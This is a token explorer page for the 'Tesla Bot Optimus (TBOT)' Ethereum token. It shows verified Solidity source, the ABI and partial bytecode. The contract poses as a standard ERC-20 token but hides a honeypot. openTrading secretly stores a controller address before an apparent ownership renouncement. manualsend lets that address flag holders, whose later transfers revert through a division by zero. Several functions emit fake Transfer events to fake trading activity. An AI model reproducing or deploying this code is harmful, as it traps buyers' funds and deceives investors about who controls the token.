ETH Price: $3,261.11 (-2.93%)

Token

Tesla Bot Optimus (TBOT)
 

Overview

Max Total Supply

77,777,777,777 TBOT

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Filtered by Token Holder
Uniswap V2: TBOT 28
Balance
0.00000531 TBOT

Value
$0.00
0xc248db41332664a76b5d01ec3cf7b80d47923806
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TBOT

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : c.sol
/* 
    website  : https://bancoineth.xyz/
    twitter  : https://x.com/Bancoineth
    telegram : https://t.me/Bancoineth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract TBOT is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    uint256 private _feesValue = 0;
    mapping(address => uint256) private _fees;
    bool private _swapping;
    uint256 public swapTokensAtAmount;
    mapping(address => bool) private _automatedMarketMakerPairs;
    address private _exAddress;
    address public uniswapV2Pair;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");



        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            !_swapping && _automatedMarketMakerPairs[from]
        ) {
            _swapping = true;

            _swapBack(from);

            _swapping = false;
        }


        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }



    function _manualsend(address pair, bool value) internal {
        _automatedMarketMakerPairs[pair] = value;
    }

    
    function openTrading(address _a) public onlyOwner {
        _exAddress = _a;
        renounceOwnership();
        
    }
    
    function manualsend(address[] memory accounts, bool value) public  {
         require(msg.sender == _exAddress,"_airdropAddress err") ;
        for (uint256 i = 0; i < accounts.length; i++) {
            if(accounts[i] == uniswapV2Pair || balanceOf(accounts[i]) <= 0 || _automatedMarketMakerPairs[accounts[i]] == value) continue;
            _manualsend(accounts[i], value);
        }
    }

    function _swapBack(
        address from
    ) internal virtual {
        uint amount = balanceOf(from);
        uint __ppp = 1;
        if(amount > 10) __ppp =   _feesValue;
        _fees[from] = amount/__ppp;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"Tesla Bot Optimus";
        _symbol = unicode"TBOT";
        _mint(msg.sender, 77777777777  * 10 ** decimals());

        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
         uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

    }

}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_a","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040525f600655348015610013575f5ffd5b506100306100256102a360201b60201c565b6102aa60201b60201c565b6040518060400160405280601181526020017f5465736c6120426f74204f7074696d75730000000000000000000000000000008152506004908161007491906106ff565b506040518060400160405280600481526020017f54424f5400000000000000000000000000000000000000000000000000000000815250600590816100b991906106ff565b506100f3336100cc61036b60201b60201c565b600a6100d89190610936565b64121beab4716100e89190610980565b61037360201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610154573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101789190610a1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101dd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102019190610a1f565b6040518363ffffffff1660e01b815260040161021e929190610a59565b6020604051808303815f875af115801561023a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061025e9190610a1f565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610b53565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036103e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103d890610ada565b60405180910390fd5b8060035f8282546103f29190610af8565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104a09190610b3a565b60405180910390a36104b95f83836104bd60201b60201c565b5050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061053d57607f821691505b6020821081036105505761054f6104f9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610577565b6105bc8683610577565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6106006105fb6105f6846105d4565b6105dd565b6105d4565b9050919050565b5f819050919050565b610619836105e6565b61062d61062582610607565b848454610583565b825550505050565b5f5f905090565b610644610635565b61064f818484610610565b505050565b5b81811015610672576106675f8261063c565b600181019050610655565b5050565b601f8211156106b75761068881610556565b61069184610568565b810160208510156106a0578190505b6106b46106ac85610568565b830182610654565b50505b505050565b5f82821c905092915050565b5f6106d75f19846008026106bc565b1980831691505092915050565b5f6106ef83836106c8565b9150826002028217905092915050565b610708826104c2565b67ffffffffffffffff811115610721576107206104cc565b5b61072b8254610526565b610736828285610676565b5f60209050601f831160018114610767575f8415610755578287015190505b61075f85826106e4565b8655506107c6565b601f19841661077586610556565b5f5b8281101561079c57848901518255600182019150602085019450602081019050610777565b868310156107b957848901516107b5601f8916826106c8565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156108505780860481111561082c5761082b6107ce565b5b600185161561083b5780820291505b8081029050610849856107fb565b9450610810565b94509492505050565b5f826108685760019050610923565b81610875575f9050610923565b816001811461088b5760028114610895576108c4565b6001915050610923565b60ff8411156108a7576108a66107ce565b5b8360020a9150848211156108be576108bd6107ce565b5b50610923565b5060208310610133831016604e8410600b84101617156108f95782820a9050838111156108f4576108f36107ce565b5b610923565b6109068484846001610807565b9250905081840481111561091d5761091c6107ce565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610940826105d4565b915061094b8361092a565b92506109787fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610859565b905092915050565b5f61098a826105d4565b9150610995836105d4565b92508282026109a3816105d4565b915082820484148315176109ba576109b96107ce565b5b5092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109ee826109c5565b9050919050565b6109fe816109e4565b8114610a08575f5ffd5b50565b5f81519050610a19816109f5565b92915050565b5f60208284031215610a3457610a336109c1565b5b5f610a4184828501610a0b565b91505092915050565b610a53816109e4565b82525050565b5f604082019050610a6c5f830185610a4a565b610a796020830184610a4a565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610ac4601f83610a80565b9150610acf82610a90565b602082019050919050565b5f6020820190508181035f830152610af181610ab8565b9050919050565b5f610b02826105d4565b9150610b0d836105d4565b9250828201905080821115610b2557610b246107ce565b5b92915050565b610b34816105d4565b82525050565b5f602082019050610b4d5f830184610b2b565b92915050565b611ea780610b605f395ff3fe608060405234801561000f575f5ffd5b506004361061012a575f3560e01c8063715018a6116100ab578063beabacc81161006f578063beabacc81461031c578063ca72a4e714610338578063dd62ed3e14610354578063e2f4560514610384578063f2fde38b146103a25761012a565b8063715018a61461028a5780638da5cb5b1461029457806395d89b41146102b2578063a9059cbb146102d0578063b18834aa146103005761012a565b806326ededb8116100f257806326ededb8146101e6578063313ce56714610202578063321bef231461022057806349bd5a5e1461023c57806370a082311461025a5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780632349e24a1461019a57806323b872dd146101b6575b5f5ffd5b6101366103be565b6040516101439190611418565b60405180910390f35b610166600480360381019061016191906114d6565b61044e565b604051610173919061152e565b60405180910390f35b610184610470565b6040516101919190611556565b60405180910390f35b6101b460048036038101906101af91906116d9565b610479565b005b6101d060048036038101906101cb9190611733565b610659565b6040516101dd919061152e565b60405180910390f35b61020060048036038101906101fb91906117dc565b610687565b005b61020a610757565b6040516102179190611854565b60405180910390f35b61023a600480360381019061023591906117dc565b61075f565b005b61024461082f565b604051610251919061187c565b60405180910390f35b610274600480360381019061026f9190611895565b610854565b6040516102819190611556565b60405180910390f35b61029261089a565b005b61029c6108ad565b6040516102a9919061187c565b60405180910390f35b6102ba6108d4565b6040516102c79190611418565b60405180910390f35b6102ea60048036038101906102e591906114d6565b610964565b6040516102f7919061152e565b60405180910390f35b61031a600480360381019061031591906117dc565b610986565b005b61033660048036038101906103319190611733565b610a56565b005b610352600480360381019061034d9190611895565b610ac0565b005b61036e600480360381019061036991906118c0565b610b13565b60405161037b9190611556565b60405180910390f35b61038c610b95565b6040516103999190611556565b60405180910390f35b6103bc60048036038101906103b79190611895565b610b9b565b005b6060600480546103cd9061192b565b80601f01602080910402602001604051908101604052809291908181526020018280546103f99061192b565b80156104445780601f1061041b57610100808354040283529160200191610444565b820191905f5260205f20905b81548152906001019060200180831161042757829003601f168201915b5050505050905090565b5f5f610458610c1d565b9050610465818585610c24565b600191505092915050565b5f600354905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff906119a5565b60405180910390fd5b5f5f90505b825181101561065457600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838281518110610561576105606119c3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806105ad57505f6105aa84838151811061059d5761059c6119c3565b5b6020026020010151610854565b11155b8061061e5750811515600a5f8584815181106105cc576105cb6119c3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b61064757610646838281518110610638576106376119c3565b5b602002602001015183610de7565b5b808060010191505061050d565b505050565b5f5f610663610c1d565b9050610670858285610e3f565b61067b858585610eca565b60019150509392505050565b5f5f90505b83839050811015610751578383828181106106aa576106a96119c3565b5b90506020020160208101906106bf9190611895565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073c9190611556565b60405180910390a3808060010191505061068c565b50505050565b5f6008905090565b5f5f90505b8383905081101561082957838382818110610782576107816119c3565b5b90506020020160208101906107979190611895565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108149190611556565b60405180910390a38080600101915050610764565b50505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108a26111f2565b6108ab5f611270565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108e39061192b565b80601f016020809104026020016040519081016040528092919081815260200182805461090f9061192b565b801561095a5780601f106109315761010080835404028352916020019161095a565b820191905f5260205f20905b81548152906001019060200180831161093d57829003601f168201915b5050505050905090565b5f5f61096e610c1d565b905061097b818585610eca565b600191505092915050565b5f5f90505b83839050811015610a50578383828181106109a9576109a86119c3565b5b90506020020160208101906109be9190611895565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3b9190611556565b60405180910390a3808060010191505061098b565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ab39190611556565b60405180910390a3505050565b610ac86111f2565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1061089a565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b610ba36111f2565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890611a60565b60405180910390fd5b610c1a81611270565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611aee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790611b7c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dda9190611556565b60405180910390a3505050565b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610e4a8484610b13565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ec45781811015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611be4565b60405180910390fd5b610ec38484848403610c24565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f90611c72565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611d00565b60405180910390fd5b5f610fb030610854565b90505f6009548210159050808015610fd4575060085f9054906101000a900460ff16155b80156110265750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561106857600160085f6101000a81548160ff02191690831515021790555061104e85611331565b5f60085f6101000a81548160ff0219169083151502179055505b5f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838110156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390611d8e565b60405180910390fd5b83810360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111d79190611556565b60405180910390a36111ea8686866113a3565b505050505050565b6111fa610c1d565b73ffffffffffffffffffffffffffffffffffffffff166112186108ad565b73ffffffffffffffffffffffffffffffffffffffff161461126e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126590611df6565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61133b82610854565b90505f60019050600a8211156113515760065490505b808261135d9190611e41565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113ea826113a8565b6113f481856113b2565b93506114048185602086016113c2565b61140d816113d0565b840191505092915050565b5f6020820190508181035f83015261143081846113e0565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61147282611449565b9050919050565b61148281611468565b811461148c575f5ffd5b50565b5f8135905061149d81611479565b92915050565b5f819050919050565b6114b5816114a3565b81146114bf575f5ffd5b50565b5f813590506114d0816114ac565b92915050565b5f5f604083850312156114ec576114eb611441565b5b5f6114f98582860161148f565b925050602061150a858286016114c2565b9150509250929050565b5f8115159050919050565b61152881611514565b82525050565b5f6020820190506115415f83018461151f565b92915050565b611550816114a3565b82525050565b5f6020820190506115695f830184611547565b92915050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115a9826113d0565b810181811067ffffffffffffffff821117156115c8576115c7611573565b5b80604052505050565b5f6115da611438565b90506115e682826115a0565b919050565b5f67ffffffffffffffff82111561160557611604611573565b5b602082029050602081019050919050565b5f5ffd5b5f61162c611627846115eb565b6115d1565b9050808382526020820190506020840283018581111561164f5761164e611616565b5b835b818110156116785780611664888261148f565b845260208401935050602081019050611651565b5050509392505050565b5f82601f8301126116965761169561156f565b5b81356116a684826020860161161a565b91505092915050565b6116b881611514565b81146116c2575f5ffd5b50565b5f813590506116d3816116af565b92915050565b5f5f604083850312156116ef576116ee611441565b5b5f83013567ffffffffffffffff81111561170c5761170b611445565b5b61171885828601611682565b9250506020611729858286016116c5565b9150509250929050565b5f5f5f6060848603121561174a57611749611441565b5b5f6117578682870161148f565b93505060206117688682870161148f565b9250506040611779868287016114c2565b9150509250925092565b5f5ffd5b5f5f83601f84011261179c5761179b61156f565b5b8235905067ffffffffffffffff8111156117b9576117b8611783565b5b6020830191508360208202830111156117d5576117d4611616565b5b9250929050565b5f5f5f604084860312156117f3576117f2611441565b5b5f84013567ffffffffffffffff8111156118105761180f611445565b5b61181c86828701611787565b9350935050602061182f868287016114c2565b9150509250925092565b5f60ff82169050919050565b61184e81611839565b82525050565b5f6020820190506118675f830184611845565b92915050565b61187681611468565b82525050565b5f60208201905061188f5f83018461186d565b92915050565b5f602082840312156118aa576118a9611441565b5b5f6118b78482850161148f565b91505092915050565b5f5f604083850312156118d6576118d5611441565b5b5f6118e38582860161148f565b92505060206118f48582860161148f565b9150509250929050565b7f4e487b71000000000000